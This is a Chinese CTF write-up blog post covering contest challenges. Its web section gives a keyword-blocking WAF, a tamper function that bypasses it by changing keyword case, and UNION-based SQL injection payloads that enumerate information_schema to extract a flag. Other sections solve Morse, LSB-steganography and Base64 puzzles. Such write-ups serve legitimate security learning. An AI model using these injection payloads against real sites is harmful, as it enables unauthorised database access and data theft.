文章目录

  • 前言:
  • 【WEB】sql_checkin
  • 【杂项】easy_misc
    • 莫斯密码解密
    • lsb加密隐写
    • 栅栏密码
  • 【杂项】Un(ix)zip
    • unixzip
    • Base64
  • 【杂项】Do_you_konw_school_motto(复现)
    • Mp3隐写
    • IP置换盒?
    • lsb加密隐写
  • 【WEB】medium-unserialize【复现】
    • 了解整个逻辑
    • Phar反序列化
    • 原生类的反序列化
    • 强制垃圾回收gc
    • 构造phar包
    • 签名更改
    • 上传phar包

前言:

不多但都是自己认认真真复盘的
里面的代码都是自己敲出来的
毕竟人家复盘讲解啥的给你看看就不错了~
复习周来了,不得不去。
有收获的话就给个赞吧…
首发于 https://sleepymonster.cn/

【WEB】sql_checkin

题目来自 2021暨南大学新生赛决赛Web签到题

直接放WAF

<?php
function waf($var)
{if(preg_match("/select|union|or|ro|where/", $var)){return 'no no no';}else{return $var;}
}

这是一道非常基础的题,过程我就不放了,放个脚本吧。

一步步做就很方便,具体怎么改操作tamper就好了

def tamper(payload, **kwargs):payload= payload.lower()payload= payload.replace('group_contact' , 'GROUP_CONCAT') # 因为是函数 所以就不支持大小写混用payload= payload.replace('select' , 'Select')payload= payload.replace('union' , 'Union')payload= payload.replace('or' , 'Or')payload= payload.replace('ro' , 'Ro')payload= payload.replace('where' , 'Where')retVal=payloadreturn retValdatabase = 'easysql'
table = 'flag'
column = 'flag'
payloadFindField = '" union select 1,2,3 #'
payloadFindFlag = f'" union select 1,2,(select {column} from {database}.{table}) #'
payloadFindColumn = f'" union select 1,2,(select group_contact(column_name) from information_schema.columns where table_schema="{database}" and table_name="{table}") #'
payloadFindTable = f'" union select 1,2,(select group_contact(table_name) from information_schema.tables where table_schema="{database}") #'
payloadFindDataBase = '" union select 1,2,(select group_contact(schema_name) from information_schema.schemata) #'
payloadArray = [payloadFindDataBase, payloadFindTable, payloadFindColumn, payloadFindFlag]
payloadDescription = ['判断数据库','判断数据表','判断数据列','拿到Flag']
progress = 0 + int(database is not '') + int(table is not '') + int(column is not '')
print(f'[*] 请先判断字段:{payloadFindField}')
print(f'[*] 当前进度:{payloadDescription[progress]}, 请复制下一行的话进行注入')
print(tamper(payloadArray[progress]))

【杂项】easy_misc

题目来自 2021暨南大学新生赛初赛

莫斯密码解密

解密网站:http://www.hiencode.com/morse.html

lsb加密隐写

用了stegsolve找不到

用了zsteg zsteg ./lalala.png -v还是不行

找了Steghide以为是把密码写到文件里面然后用莫斯那个密码解出来,还是不行

Steghide 参考链接 https://www.jianshu.com/p/c3679f805a0c

最后是问了大佬 https://github.com/livz/cloacked-pixel

开始动手~

拿到解压密码 this_is_the_second_password

栅栏密码

解密网站:https://www.qqxiuzi.cn/bianma/zhalanmima.php

【杂项】Un(ix)zip

题目来自 第四届2021美团网络安全高校挑战赛

unixzip

unzip 就是解压,unix就是在unix下

一共有36位然后依照顺序连起来

ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9

Base64

Base64算法

  • 第一步,“M”、“a”、"n"的ASCII值分别是77、97、110,对应的二进制值是01001101、01100001、01101110,将它们连成一个24位的二进制字符串010011010110000101101110。

  • 第二步,将这个24位的二进制字符串分成4组,每组6个二进制位:010011、010110、000101、101110。

  • 第三步,在每组前面加两个00,扩展成32个二进制位,即四个字节:00010011、00010110、00000101、00101110。它们的十进制值分别是19、22、5、46。

  • 第四步,根据表格,得到每个值对应Base64编码,即T、W、F、u。

如果字节数不足三(余2 与 余1)

  • “M”、“a” => 01001101、01100001 => 010011|010110|0001=> 00010011|00010110|00000100(最后一组除了前面加两个0以外,后面也要加两个0) => 对应Base64值分别为T、W、E,再补上一个"="号,因此"Ma"的Base64编码就是TWE=
  • “M” => 01001101 => 010011|01 => 00010011 | 00010000 => TQ== 补上二个"="号

上面的一共有36位 一个字母为一个字节即8Bit 为3的倍数

import base64
print(base64.b64decode("ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9"))

【杂项】Do_you_konw_school_motto(复现)

题目来自 2021年暨南大学新生赛决赛

Mp3隐写

一般是查询谱写,隐谱图。

发现了个工具箱整理:太长了

工具

【浅记CTF(一)】复习周来袭相关推荐

  1. 计算机怎么学要记笔记,留法十全大补汤 | 学姐告诉你在法国上课如何记笔记,复习,考试!...

    原标题:留法十全大补汤 | 学姐告诉你在法国上课如何记笔记,复习,考试! ▣开学有一段时间啦,各位同学上课感觉怎么样?是不是已经开始在票圈嗷嗷吐槽法国人上课的节奏了? 学姐作为过来人,今天就跟大家分享 ...

  2. 浅谈CTF中各种花式绕过的小trick

    文章目录 浅谈CTF中各种花式绕过的小trick 前言 md5加密bypass 弱比较绕过 方法一:0e绕过 方法二:数组绕过 强比较绕过 方法:数组绕过 md5碰撞绕过 方法:使用Fastcoll生 ...

  3. 要写脚本,编程不好不要紧--浅谈CTF中脚本的编写方法

    1. 脚本在CTF比赛中的作用 CTF夺旗赛中往往分为杂项(MISC).密码(CRYPTO).WEB.逆向(REVERSE)和PWN. 在目前的比赛中,各种工具起到的作用在不断下降,一击必杀拿到fla ...

  4. 21天战拖记——Day6:复习阶段性完成!(2014-05-09)

    今天上完了英语的最后一堂课,看了一场电影<两个小洛特>:两个长得一模一样的姑娘,由于父母离婚,她们被抓散了.为了争取自己的幸福,她们想出一个大胆的冒险计划:姐姐代替妹妹,妹妹代替姐姐,回到 ...

  5. 算法复习周------“贪心问题之‘单源最短路径’”

    前几天写完了DP问题,终于把比较困难的几个部分写完了,今天开始我们进入贪心模块.贪心相对与DP来说还是很好理解的.NOW,现在开始第一部分. 算法介绍:给定一个带权有向图,其中的每一条边的权值都是非负 ...

  6. 拾人牙慧,浅记一些C++的类

    这两天没事又翻了翻Primer,发现自己上岁数了,记单词能力开始下降,索引把一些简单的例子记下来,把一些肥肉剔除,剩一下骨头,方便今后Ctrl+F.  在此感谢:   http://ticktick. ...

  7. RabbitMQ(消息队列)浅记

    消息队列 PS:大二下学习RabbitMQ的随手小记 一.什么是 MQ MQ(message queue),从字面意思上看,本质是个队列,FIFO 先入先出,只不过队列中存放的内容是message 而 ...

  8. 【JVM】浅记JVM

    前言 一.参看视频.网站.书籍 差不多是花了一个月看完黑马的视频,然后查看其它的相关的面试题.差不多花费的时间就是一个半月吧. ① 黑马程序员JVM完整教程,Java虚拟机快速入门, 附上黑马视频自带 ...

  9. 直播预告|脑机接口学术周来袭,2023世界机器人大赛赛题解读、学术分享抢先看!

    世界机器人大赛被誉为机器人界的"奥林匹克",已成为国内外影响广泛的机器人领域官方专业赛事."世界机器人大赛-BCI脑控机器人大赛" 至今已成功举办了6届,大赛旨 ...

最新文章

  1. RESTful之排序
  2. 加密解密、Openssl、自建CA
  3. tablueau地图标记圆形_30天30张中国风地图,从青绿山水到秦砖汉瓦
  4. 计算机抄作通用模块,通用命令行模块的设计及实现
  5. php在浏览器输入路径,关于在sublime text 3 中配置一键浏览器打开php文件,并且是在localhost 本地服务器路径下...
  6. 深度学习(00)——GPU版本的TensorFlow
  7. matlab程序产生OAM波,一种反射型极化转换超表面的轨道角动量产生结构设计的制作方法...
  8. mysql视图字段大小_在()MySQL()中,使用()_______()语句可以查看视图的字段信息,其中包括字段名、字段类...
  9. 因子分解机(FM,FFM,DeepFM,libfm,xlearn)
  10. Hadoop基本原理
  11. Ant、 Maven 、 Gradle—Java构建工具比较
  12. mysql基础教程下载_MySQL基础教程
  13. 喷漆房出现故障应该如何处理
  14. (数据结构)图的邻接表(Adjacency List)表示方法
  15. MYSQL 命令行大全 (简洁、明了、全面)
  16. 构建基于MX1919的超声波阵列驱动板
  17. 计算机硬盘优化策略,如何让机械硬盘更快,几个优化提升机械硬盘速度!
  18. 将内网网站发布上线【免服务器】
  19. Nachos线程管理
  20. 计算机命令提示符开热点,win7系统使用cmd命令创建wifi热点的方法

热门文章

  1. 推荐学习产品经理入门知识的5个网站
  2. 面试经验:我是如何得到谷歌、脸书和亚马逊offer的?
  3. 智能镜子制作_更智能的镜子及其制作方法
  4. kernel网络之软中断
  5. hdu 1276 士兵队列训练问题 (详解)
  6. 论文解读《STALLION:一个基于堆叠的原核赖氨酸乙酰化位点预测的集成学习框架》
  7. 基于Spring Boot应用Apache CXF发布Web Services服务
  8. Win10安装cuda11.1和cudnn8.0
  9. 八人抢答器讲解_8人抢答器的制作原理和过程说明是怎样的?
  10. 叮,一份详细的LIN收发器选型指南请查收